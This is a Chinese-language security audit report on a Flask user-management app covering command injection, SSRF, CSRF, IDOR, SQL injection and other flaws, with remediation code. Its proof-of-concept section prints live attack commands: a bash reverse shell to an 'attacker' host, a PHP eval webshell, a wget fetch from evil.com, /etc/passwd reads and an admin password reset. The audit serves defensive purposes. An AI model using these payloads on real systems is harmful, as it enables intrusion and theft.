

用户管理系统 — 完整安全审计报告

项目名称：Flask 用户信息管理平台
审计日期：2026-07-13
漏洞总数：10
严重漏洞：7 | 中危漏洞：2 | 低危漏洞：1

漏洞清单

编号	漏洞类型	位置	严重性
V-001	命令注入 (RCE)	/ping	严重
V-002	SSRF	/fetch-url	严重
V-003	CSRF 改密	/change-password	严重
V-004	越权改密	/change-password	严重
V-005	无原密码校验	/change-password	严重
V-006	IDOR 越权查资料	/profile?user_id=	严重
V-007	负金额充值	/recharge	严重
V-008	SQL注入 (搜索)	?keyword=	严重
V-009	路径穿越	/page?name=../	严重
V-010	任意文件上传	/upload	中危

1. V-001 命令注入 (RCE)

CWE: CWE-78: OS Command Injection

CVSS: 10.0 (Critical)

漏洞代码

```
import subprocess

@app.route("/ping", methods=["POST"])
def ping():
    ip = request.form.get("ip", "")
    cmd = f"ping -c 3 {ip}" # ← f-string 直接拼接
    output = subprocess.check_output(cmd, # ← shell=True 执行
                                     shell=True, stderr=subprocess.STDOUT, timeout=30)
```

问题：三个致命缺陷叠加：1. **f-string** 拼接 — 用户输入直接嵌入命令 2. **shell=True** — 命令通过系统 shell 执行 3. 无过滤 — 不检查 ip 参数内容

POC：执行系统命令

```
# 查看系统文件
curl -X POST http://127.0.0.1:5000/ping \
  -d "ip=127.0.0.1; cat /etc/passwd"

# 反弹 shell
curl -X POST http://127.0.0.1:5000/ping \
  -d "ip=127.0.0.1; bash -c 'exec bash -i &>/dev/tcp/attacker/4444 <&1'"

# 写 webshell
curl -X POST http://127.0.0.1:5000/ping \
  -d "ip=127.0.0.1; echo '<?php eval(\$_GET[c]);?>' > /var/www/html/shell.php"

# 下载恶意文件
curl -X POST http://127.0.0.1:5000/ping \
  -d "ip=127.0.0.1; wget http://evil.com/malware -O /tmp/malware"
```

修复方案

```
import shlex

@app.route("/ping", methods=["POST"])
def ping():
    ip = request.form.get("ip", "")
    # ✅ 1. 参数化：不拼接，用 list 参数
    # ✅ 2. shell=False：不使用 shell 执行
    # ✅ 3. 输入校验：仅允许合法 IP/域名
```

```
if not re.match(r'^[\w\.\-]+\$', ip):
    return render_template("ping.html", result="非法输入")
cmd = ["ping", "-c", "3", ip]
output = subprocess.check_output(cmd, stderr=subprocess.STDOUT, timeout=30)
```

2. V-002 SSRF 服务端请求伪造

POC

```
# 读取本地文件
curl -X POST http://127.0.0.1:5000/fetch-url -d "url=file:///etc/passwd"
# 扫描内网
curl -X POST http://127.0.0.1:5000/fetch-url -d "url=http://127.0.0.1:3306"
```

3. V-003 ~ V-005 密码修改漏洞

```
# CSRF + 越权 + 无原密码 = 任意用户密码被改
curl -X POST http://127.0.0.1:5000/change-password \
-d "username=admin&new_password=hacked123"
```

修复方法汇总

漏洞	问题	修复方案
V-001 命令注入	f-string + shell=True	参数化命令 + shell=False
V-002 SSRF	无URL协议校验	协议白名单 + 内网IP黑名单
V-003 CSRF 改密	无 CSRF Token	添加 CSRF 验证
V-004 越权改密	username从表单取	从 session 获取
V-005 无原密码	直接修改	验证原密码
V-006 IDOR 查资料	user_id从URL取	从 session 获取
V-007 负金额	amount无校验	检查 amount>0
V-008 SQL 注入	f-string拼接	参数化查询

漏洞	问题	修复方案
V-009 路径穿越	直接拼接路径	realpath+前缀校验
V-010 文件上传	无校验	后缀白名单

报告日期：2026-07-13